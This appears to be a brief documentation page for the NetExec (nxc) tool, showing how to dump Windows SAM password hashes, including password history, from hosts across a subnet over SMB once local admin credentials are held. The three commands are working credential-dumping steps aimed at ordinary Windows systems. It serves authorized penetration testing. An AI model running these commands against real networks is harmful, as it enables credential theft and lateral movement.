Dump SAM

Dump SAM hashes using methods from secretsdump.py

You need at least local admin privilege on the remote target, use option --local-auth if your user is a local account

nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --sam

If this command fail you can also try the old method (similar to secretdump)

nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --sam secdump

Dump SAM including password history

nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --sam --history